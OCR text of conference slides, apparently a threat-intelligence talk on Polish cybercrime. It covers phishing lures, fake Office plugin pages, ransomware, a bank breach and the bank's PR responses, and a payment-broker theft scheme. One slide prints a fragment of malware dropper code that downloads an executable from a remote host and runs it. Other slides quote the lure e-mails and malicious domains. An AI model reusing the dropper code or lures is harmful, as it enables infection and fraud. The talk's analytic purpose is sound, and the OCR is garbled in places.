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Successful attack in three simple steps

Send an e-mail:

We're opening new office in Poland and we want a lawyer.
Someone responds.

Send an e-mail: Here's the NDA: [insert link here]
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Successful attack in three simple steps

Infect some company.
Steal e-mails of clients.

Send e-mail to clients with a link to important documents (e.g. to an

invoice).
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And when someone clicks on a link...

— 4  Auiomafic Zoom

5

Wezytywanie dokumentu
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And when someone clicks on a link...

L C' [} docs.logisticservers.eu/?fname=polska_filia_eurologistic_uslug

Microsoft*

Office

Krok 2 z 4:(15%
Przygotowuje dokument. Moze to zajat kilka minut.

Office

© 2010 Microsoft Corporation. All rights reserved.
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And when someone clicks on a link...

“« C' [ docs.logisticservers.eu/?fnam

1 Office

Ups... Cos poszio nie tak!
Error Code: [000109xFA]

Wiadomosé: Nie mozZna otworzyé dokumentu. “"Microsoft & Office Online Viewer Plugin” wersja

niekompaktybilna z tym mugmeﬁw.

Napraw
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And when someone clicks on a link...

i Instalacja produktu Microsoft Office Web Apps Browser Plugin g E|E

Instalowanie produktu Microsoft Office Web Apps Browser Plu... @

Czekaj, a2 Kreator instalaci zainstaluje produkt Microsoft OFfice Web Apps Browser
Flugin.

Skan:

( )
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And when someone clicks on a link.
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Petna ksiegowos¢ online

Oferta specjaina. Dostep do danych finansowych przez
ksiggowosc online 24 h na dobe z dowolnego miejsca na ziemi.

Peina ksiegowost online jest oferia dia Kientow, dia korych wazny jest
tow

maksymalnie krotki czas dostepu do danych oraz obnizka kos
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+ Przekazywanie dokumentow do Centrum Ksiegoego Spoiek Kaptalowych
odbywia sie w postaci skanowane] poprzez Platforme Internetowa
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tukasz Siewierski (@maldr0id)

W tym celu Kient otrzymue bezposredni dostep do programu ksiegowego poprzez
Platforme Internetowa. Na Platiormie Internelowe] dyreklorzy finansow, prezes fim lub
dedykowani pracounicy maja moziosé kontrol stanu zaksiegowanych dokumentou.
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Prezes Zarzadu Astoria SA.
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And when someone clicks on a link...

e C'  [1 microsoftautoupdate.eu 9y @ =
B2 Microsoft

Download Center

Wersja Windows 10.
Najlepsza, jaka kiedykolwiek
powstata.

Uaktualnij bezptatnie*

Znajdz pliki do pobrania

i= 0 % | & =

Windows Office Xbox i gry Windows Phone Internet Explorer Skype
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And then... a ransom note

iF. YOU g¢iVIs Me

580 000 eurls
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And then... a ransom note
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Money laundering (general scheme)

Stolen funds

Prepaid cards
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Return of the "technically challenged” malware autho

private void Timerl Tick(object sender, EventArgs e)
{
try
{
this.uebBrowserl.Navigate("http://dstats.net/download/http://z3s.p1");
this.Timerl.Stop();
this.Timer2.Start();
catch (Exception ex)
{
ProjectData.SetPre
this.WebBrowserl.Na
this.Timerl.Stop();
this.Timer2.Start();
ProjectData.ClearProjectError();

Error(ex);
igate("http://z35.p1");

¥

private void Timer2_Tick(object sender, EventArgs e)

{
string str = Path.Combine(MyProject.Computer.FileSystem.SpecialDirectories.Temp, Path.GetRandomFileName() + ".exe™);
try
{

MyProject.Computer.Network.DownloadFile("http:// AVRdWUp.exe”, str)
Process.Start(str);

this.Timer2.5top();

o

catch (Exception ex)

{
ProjectData.SetProjectError(ex);
MyProject.Computer.Network. DownloadFi
Process.Start(str);
this.Timer2.Stop();
ProjectData.Cle

c12a94.exe”, str);

arProjectError();
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Return of the "technically challenged” malware author

(& vanschoot.pl
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Webinjects without any malware

Sometimes you have access to the online banking system webserver...
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Webinjects without any malware

Sometimes you have access to the online banking system webserver...

wait, what?
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Webinjects without any malware

Sometimes you have access to the online banking system webserver...
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PR tutorial, part |: threaten the journalist

Bank via e-mail to journalist

<

(...) we are urging you to stop illegal publication of information relating to
the effects of hacking attempts (...) This information is based on
unrealiable source and does not present bank’s point of view.

[lots of legal clauses follow]
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PR tutorial, part |: threaten the journalist

Bank via e-mail to journalist

(...) we are urging you to stop illegal publication of information relating to
the effects of hacking attempts (...) This information is based on
unrealiable source and does not present bank’s point of view.

[lots of legal clauses follow]

Response

Journalist publishes a dump of 100 (censored) credit card data...
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PR tutorial, part |: threaten the journalist

Bank via e-mail to journalist

(...) we are urging you to stop illegal publication of information relating to
the effects of hacking attempts (...) This information is based on
unrealiable source and does not present bank’s point of view.

[lots of legal clauses follow]

Response

Journalist publishes a dump of 100 (censored) credit card data...

... and (censored) wire transfer proofs...
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PR tutorial, part |: threaten the journalist

Bank via e-mail to journalist

(...) we are urging you to stop illegal publication of information relating to
the effects of hacking attempts (...) This information is based on
unrealiable source and does not present bank’s point of view.

[lots of legal clauses follow]

Response

Journalist publishes a dump of 100 (censored) credit card data...
... and (censored) wire transfer proofs...

... and server file listings (also censored)...
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PR tutorial, part |: threaten the journalist

Bank via e-mail to journalist

(...) we are urging you to stop illegal publication of information relating to
the effects of hacking attempts (...) This information is based on
unrealiable source and does not present bank’s point of view.

[lots of legal clauses follow]

Response

Journalist publishes a dump of 100 (censored) credit card data...
... and (censored) wire transfer proofs...
... and server file listings (also censored)...

... and says that attacker gave a copy of webinjects and configuration files.
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PR tutorial, part Il: say something reassuring

Spokesman for the Polish Bank Association

Clients can be sure that their personal data is safe.
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PR tutorial, part Il: say something reassuring

Spokesman for the Polish Bank Association

Clients can be sure that their personal data is safe.

Response

Attackers publishes personal data and transaction history from 500 different

business accounts.
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PR tutorial, part Il: say something reassuring

Spokesman for the Polish Bank Association

Clients can be sure that their personal data is safe.

Response

Attackers publishes personal data and transaction history from 500 different

business accounts. Including bank owner's son.

< tukasz Siewierski (@maldr0id) (Mostly) Polish threat landscape 9 /14



PR tutorial, part Ill: oh, this definitely is true!

Bank’s press release

None of the bank’s clients lost any amount of money.
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PR tutorial, part Ill: oh, this definitely is true!

Bank’s press release

None of the bank’s clients lost any amount of money.

Response

Client X: but we lost money that was NOT in your bank.
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How to steal money with only login and password?

-
AT
T I
Instant. 1-click shopping

-
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-
W Slow wire transfer W
(3 per day, on work day) -

E-shop account

Client account
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How to steal money with only login and password?

Instant, L-click shopping

> »
[ Slow wire transfer W
(3 per day, on work day) -
Client account E-shop account
D B Tt SeReir Same bank - Immediate transfer

-
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Aire transfer titled "For E-Shop 123456" came

Payment broker account Payment broker account

Transfer money to E-Shop

Payment broker servers
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How to steal money with only login and password?

v

91
{

W
-
Payment broker's "backup” account
(stolen credentials) E-shop account
Same bank - immediate transfer
Same owner - no auth Same bank - immediate transfer

B 4

wire transfer titled "For E-Shop 123456" came

|5

Payment broker's "main’ account Payment broker account

Transfer money to E-Shop

Payment broker servers
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PR tutorial, part IV: | don't even make sense now...

Spokesman for the Polish Bank Association

(...) hacker, who allegedly broke into the bank's systems will be captured
by the police. (...)
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PR tutorial, part IV: | don't even make sense now...

Spokesman for the Polish Bank Association

(...) hacker, who allegedly broke into the bank's systems will be captured
by the police. (...)

Response

Police captured one of the attackers.
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PR tutorial, part V: copy of the production server

<

« C [ pb. pl Wwh © 4% B =

Fatal error: Uncaught exception PDOException’ with message 'SQLSTATE[28000] [1045] Access denied for user

'admin® ab'@'94 " (using password: YES) m
home/users/pb/public_html/system/database/drivers/pdo/pdo_dniver php:114 Stack trace: 20
home/users/pb/public_html/system/database/drivers/pdo/pdo_driver php(114): PDO-=__construct{'myvsql:host=6281.."
'admin® ab', '3Ab 7X'. Array) #1 /home/users/pb/public_html/system/database/DB_driver.php{115):
CI_DB_pdo_driver-=db_pconnect() #2 /home/users/pb/public_html/system/database/DB_php(148): CI_DB_drrver-=imnalize()
#3 /home/users/pb/public_html/system/core/ Loader.php(346): DB(". NULL) =4

home/users/pb/public_html/system/core/Loader.php(1171): CI_Loader-=database() #5

home users/pb/public_html/system/core/Loader php(152): CI_Loader-=_eci1_autoloader() #6
home/users/pb/public_html/system/core/Controller. php(51): CI_Loader-=nitialize() #7

home users/pb/public_html/application/controllers/pb.php(7): CI_Controller-=__ construct() #8 /home/users/pb/publi in
/home/users/pb/public_html/system/database/drivers/pdo/pdo_driver.php on line 114
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Questions? Comments?
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